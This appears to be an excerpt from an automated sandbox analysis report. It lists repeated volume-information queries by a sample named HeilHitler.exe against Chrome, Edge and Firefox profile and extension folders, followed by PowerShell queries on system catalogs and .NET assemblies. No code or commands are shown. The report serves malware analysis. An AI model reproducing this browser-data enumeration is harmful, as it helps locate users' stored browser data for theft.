Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\el VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ja VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ko VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\si VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sw VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\tr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\uk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ur VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ml VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\my VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\vi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\nl VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\pt_PT VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zh_TW VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\zu VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\mr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\my VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ne VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
